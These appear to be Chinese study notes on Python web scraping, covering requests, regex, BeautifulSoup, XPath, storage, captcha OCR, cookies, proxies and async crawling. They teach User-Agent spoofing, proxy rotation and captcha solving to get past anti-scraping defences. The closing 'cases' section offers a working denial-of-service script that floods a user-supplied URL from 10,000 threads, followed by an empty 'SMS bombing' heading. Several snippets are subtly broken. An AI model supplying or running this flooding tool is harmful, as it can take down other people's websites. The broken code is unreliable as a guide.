Python爬虫
text::Python 
text::Html+CSS 
text::计算机网络 
一、基础知识
1 爬虫防抓
- 严格遵守网站设置的robots协议。
 
- 在规避反爬虫措施的同时,需要优化自己的代码,避免干扰被访问网站的正常运行。
 
- 在设置抓取策略时,应注意编码抓取视频、音乐等可能构成作品的数据,或者针对某些特定网站批量抓取其中的用户生成内容。
 
- 在使用、传播抓取到的信息时,应审查所抓取的内容,如发现属于用户的个人信息、隐私或者他人的商业秘密的,应及时停止并删除。
 
2 爬虫分类
通用爬虫:抓取系统重要组成部分,抓取的是一整张页面:
- 指定url
- 发起请求
 
 
- 获取响应数据
 
- 持久化存储
 
聚焦爬虫:建立在通用爬虫基础之上,抓取的是页面特定的局部内容:
- 指定url
 
- 发起请求
 
- 获取响应数据
- 数据解析
 
 
- 持久化存储
 
增量式爬虫:监测网站中数据更新的情况,只会抓取网站更新出来的数据。
3 反爬机制与反反爬策略
| 反爬机制 | 
解释 | 
| robots.txt协议 | 
君子协议。规定了网站中哪些数据可以被爬取,哪些数据不可以被爬取。(没有强制限定) | 
| UA检测:检测身份 | 
门户网站会检测请求载体的身份,若不是基于某一浏览器的,则表示该请求不正常,服务器很可能会拒绝该次请求。 | 
| IP封锁 | 
封锁IP。 | 
 
| 反反爬策略 | 
解释 | 
| UA伪装:伪装成某一浏览器 | 
具体:requests库——UA伪装。 | 
| 代理 | 
解决IP封锁问题 | 
 
robots协议
| 案例 | 
代码 | 
| 全部禁止 | 
User-agent:*   Disallow: / | 
| 全部允许 | 
User-agent:*   Allow: / | 
| 仅禁止某一些爬虫 | 
User-agent:Baiduspider   Disallow: / | 
| 仅允许某一些爬虫 | 
User-agent:Baiduspider   Allow: /  User-agent:Googlebot  Allow: /  User-agent:*   Disallow: / | 
 
二、数据爬取
1 requests库定义
定义:Python中原生的一款基于网络请求的模块。
作用:模拟浏览器发送请求。
2 简单流程
 url = "https://123.sogou.com/"
 
  response =  requests.get(url=url)
 
  page_text = response.text print(page_text)
 
  with open("./save.txt","w",encoding="UTF-8") as fp:     fp.write(page_text)
 
  | 
 
3 详细请求
get与post参数
post方法
  param = {"query":value}  header = {"User-Agent ":value} 
 
  response = requests.get(url=url,timeout=15,params=param,headers=header)
 
 
 
  data = {}  file = {"name":(path,param),...} 
 
  response = requests.post(url=url,timeout=15,data=data ,headers=header,[files=file])
 
  data = response.text / text()  data = response.content / read()  data = response.json / json() 
 
  | 
 
4 其他情况
UA:User-Agent,代理。
门户网站会检测请求载体的身份,若不是基于某一浏览器的,则表示该请求不正常,服务器很可能会拒绝该次请求。
XHR
  User-Agent=value  referer=value 
 
  header = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"}
 
 
 
  data = {"kw":value} header = {"User-Agent":value} response = requests.post(url=url,timeout=15,data=data,headers=header) dic_json = requests.json()
 
  | 
 
5 技巧
有的页面数据并不是直接存在html中的,而是通过ajax请求获得了一次。
新生成的页面可能域名是一致的,但是参数不一致。
F12——Ctrl + F:搜索
三、数据解析
1 原理
标签定位。提取标签、标签属性中存储的数据值。
2 re库
正则表达式
正则表达式教程    
测试网站
常用正则表达式大全
| 普通使用 | 
解释 | 
| e? | 
e 出现 0-1 次 | 
| b* | 
b 出现 0-n 次 | 
| h+ | 
h 出现 1-n 次 | 
| b{} | 
出现次数限定,b{6}(6次),b{2,6}(2-6次),b{2,}(2次以上) | 
| [] | 
指定字符范围。[a-z],[a-zA-Z],[a-zA-Z0-9],[^0-9](除0-9外所有字符(包括元字符)) | 
| (ab)+ | 
ab 出现 1-n 次 | 
| `(cat | 
dog)` | 
cat 或 dog | 
 | 
 | 
| 特殊字符 | 
解释 | 
| \d | 
数字字符 | 
| \D | 
非数字字符 | 
| \w | 
英文、数字及下划线 | 
| \W | 
非单词字符 | 
| \s | 
空白符(tab和换行) | 
| \S | 
非空白字符 | 
| \b | 
单词开头或结尾,单词的分界处 | 
| . | 
任意字符(不包换行符 ) | 
| ^a | 
只匹配行首a,头要是a | 
| a$ | 
只匹配行尾a,尾要是a | 
 | 
 | 
| 使用技巧 | 
解释 | 
| 标签匹配 | 
<.+?>。不加 ? 会全匹配,加了会从贪婪匹配变成懒惰匹配 | 
| RGB十六进制匹配 | 
#[a-fA-F0-9]{6}\b | 
| IPv4匹配 | 
`\b((25[0-5] | 
2[0-4]\d | 
[01]?\d\d?).){3}(25[0-5] | 
2[0-4]\d | 
[01]?\d\d?)\b(会匹配:00.00.00.00)` | 
 | 
 
re库
python的re
 pattern = re.compile(pattern,flags)。
  lst = pattern.search(str)
  lst = pattern.findall(str,flags)
 
  | 
 
 import re
  strs = "<a>Hello</a><a>World</a>"
  greedy = re.findall("<a>(.*)</a>", strs) nonGreedy = re.findall("<a>(.*?)</a>", strs)
  print(greedy)  print(nonGreedy) 
 
  | 
 
3 BeautifulSoup库
原理
- 实例化一个BeautifulSoup对象,并且将页面源码数据加载到该对象中。
 
- 通过调用BeautifulSoup对象中相关的属性或者方法进行标签定位和数据提取。
 
 pip install beautifulsoup4 pip install lxml
  import bs4 from BeautifulSoup
 
 
 
  with open("0.txt","r",encoding="utf-8") as f:     soup = BeautifulSoup(f,"lxml")
 
  page_text = response.text soup = BeautifulSoup(page_text,"lxml")
 
  | 
 
属性和方法
  soup.tagName
 
 
  soup.find("tag"[,attr]) soup.find(class_ = 'item-1')
 
  soup.find_all("tag" [,attr]) soup.find_all(attrs={'class':'item-1'})
 
  ''' selector:id(#),class(.),标签选择器,例: soup.select(".tang > ul > li > a")( > :一个层级,space:多个层级) ''' soup.select("selector")
 
 
  soup.tagName.text/string/get_text()
 
  text/get_text()
 
  string
 
 
  soup.prettify()
 
  | 
 
简单使用
bs4简单使用
4 xpath库
优势:最常用且最便捷高效的一种解析方式,通用性强,可以用于别的语言。
原理:
- 实例化一个etree对象,并且将页面源码数据加载到该对象中。
 
- 通过调用etree对象中xpath方法结合着xpath表达式实现标签的定位和内容的捕获。
 
 pip install lxml
  from lxml import etree
 
 
 
  parser = etree.HTMLParser(encoding="UTF-8") et = etree.parse( filePath,parser=parser)
 
  et = etree.HTML( page_text)
 
  | 
 
 res = et.xpath( "xpath表达式" )
 
  res = li.xpath("./div")
 
  res = et.xpath("/html/head/script")
 
  res = et.xpath("/html//script") res = et.xpath("//script")
 
  res = et.xpath('//script[@type="text/javascript"]')
 
  res = et.xpath('//script[@type="text/javascript"][1]')
 
  res = et.xpath('//script[@type="text/javascript"][1]/text()')
 
  res = et.xpath('//script[@type="text/javascript"][1]//text()')
 
  res = et.xpath('//script[2]/@type')
 
  | 
 
四、数据存储
1 json
json库    
loads链接
 json.dump(data,fp,ensure_ascii=False)
 
  res = json.loads(str)
 
  | 
 
2 excel
3 sqlite
可以下载插件Database Navigator对数据库进行查看。
初次下载后DB browser会出现在软件左侧,Database是PyCharm专业版自带的。
新建数据库点击”+”号,然后找到Connection中的Database files,添加路径。
import sqlite3
 
  conn = sqlite3.connect("name.db")
 
  p = conn.cursor()
 
  sql = "" res = p.execute(sql)
  res = p.execute("INSERT INTO public_key (pubkey) VALUES (?)", (public_key,))
 
  rows = cursor.fetchall()
  p.fetchone()
 
  for row in res:     print("id = ",row[0])     print("name = ",row[1]) 	...
 
  conn.commit()
 
  conn.close()
   | 
 
五、身份认证
1 验证码
步骤:
- 下载验证码图片到本地。
 
- 识别验证码。
 
- 上传结果登入成功。(登入成功的post请求中带有验证码参数,进行修改)
 
响应状态码:res = response.status_code(200为成功)
高级验证:使用超级鹰。
 pip install ddddocr
  import ddddocr ocr = ddddocr.DdddOcr()
  with open ('jpg', 'rb') as f:     img_bytes = f.read() res = ocr.classification( img_bytes ) print(res)
 
  | 
 
2 Cookie
Http数据包:Request Headers——Cookie     
手动Cookie:headers = { "cookie":"value" }
自动Cookie:模拟登入post请求后,由服务器创建。
session会话对象:
- 可以进行请求的发送。
 
- 如果请求过程中产生了cookie,则该 cookie 会被自动存储 / 携带在该 session 对象中。
 
session使用:
- 创建session对象:
session = requests.Session() 
- 使用session对象进行模拟登入(找到是哪个 url 设置了 cookie 值(
set-cookie)):session.post()(参数同requests) 
- session对象对目标进行get请求(携带了cookie):
session.get()(参数同requests) 
3 代理
目的:破解封IP反爬机制。
作用:突破IP访问限制,伪装IP。
使用:requests.get/post(proxies = {"type":"IP:Port"})(type:类型)
代理 IP 透明度:
- 透明:服务器知道该次请求使用了代理,也知道请求对应的真真实IP。
 
- 匿名:服务器知道使用了代理,不知道真实IP。
 
- 高匿:服务器不知道使用了代理和IP地址。
 
代理网站:
六、高性能异步爬虫
1 多线程、多进程
不建议使用。
特点:
- 优势:可以为相关阻塞的操作单独开启线程或者进程,阻塞操作救可以异步执行。
 
- 劣势:无法无限制的开启多线程或者多进程,比较耗费资源,会乱序。
 
2 线程池、进程池
适当使用。
特点:
- 优势:可以降低系统对进程或者线程创建和销毁的一个频率,从而很好地降低系统的开销。
 
- 劣势:池中线程或进程的数量有上限,会乱序。
 
- 使用:线程池应应用于阻塞且耗时的操作。
 
from multiprocessing.dummy import Pool
 
  pool = Pool(num)
  pool.map(func,iterable)
  pool.close()
  pool.join()
   | 
 
3 单线程 + 异步协程
3.1 基本API
推荐使用。
| 对象或方法 | 
解释 | 
| event_loop | 
事件循环,相当于一个无限循环,我们可以把一些函数注册到这个事件循环上,当满足某些条件的时候,函数就会被循环执行 | 
| coroutine | 
协程对象,我们可以将协程对象注册到事件循环中,它会被事件循环调用。我们可以使用 | 
| async | 
定义一个方法,这个方法在调用时不会立即被执行,而是返回一个协程对象 | 
| task | 
任务,它是对协程对象的进一步封装,包含了任务的各个状态 | 
| future | 
代表将来执行或还没有执行的任务,实际上和 task没有本质区别 | 
| async | 
定义一个协程 | 
| await | 
用来挂起阻塞方法的执行 | 
 
3.2 单任务使用
import asyncio
 
  async def re(url:str):     print("Doing url",url)     print("end")
  c = re("[www.baidu.com](http://www.baidu.com/)")
 
  loop = asyncio.new_event_loop() asyncio.set_event_loop(loop) loop.run_until_complete(c)
 
  asyncio.run(c)
 
  loop = asyncio.new_event_loop() asyncio.set_event_loop(loop) task = loop.create_task(c)
 
  loop = asyncio.new_event_loop() asyncio.set_event_loop(loop) task = asyncio.ensure_future(c,loop=loop) loop.run_until_complete(task)
 
  def callback_func(task):     print(task.result())   loop = asyncio.new_event_loop() asyncio.set_event_loop(loop) task = asyncio.ensure_future(c,loop=loop) task.add_done_callback(callback_func) loop.run_until_complete(task)
   | 
 
3.3 多任务使用
import asyncio import time
  async def request(url:str):     print("Downloading",url,"...")               await asyncio.sleep(2)     print("OK for",url)
  start = time.time() urls = ["www.baidu.com","www.sogou.com","www.google.com"] loop = asyncio.new_event_loop() asyncio.set_event_loop(loop)
 
  stasks = [] for url in urls:     c = request(url)     task = asyncio.ensure_future(c,loop=loop)     stasks.append(task)
  loop.run_until_complete(asyncio.wait(stasks)) print(time.time()-start)
   | 
 
3.4 flask快速搭建网页
from flask import Flask import time app = Flask(__name__)
  @app.route('/') def index_main():     time.sleep(2)     return 'Hello World'
  if __name__ == '__main__':     app.run()
   | 
 
3.5 aiohttp模块
因为resquests.get()是基于同步,所以基于异步需要 aiohttp 模块
async def request(url:str):     print("Downloading... ")     async with aiohttp.ClientSession() as session:                  async with session.get(url) as response:                          page_text = await response.text()             print(page_text)     print("Finished")
   | 
 
七、自动化
1 Selenium模块
text::Selenium模块
八、scrapy框架
text::Scrapy模块
九、案例
1 简单DOS攻击
my::DOS
import threading import requests def Dos(url:str)->None:     header = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"}     while True:     try:         response = requests.get(url,headers=header)              except:         pass if __name__ == '__main__':     url = input("输入网址:")     for i in range(10000):         threading.Thread(target=Dos,args=(url,)).start()
   | 
 
2 短信轰炸
短信轰炸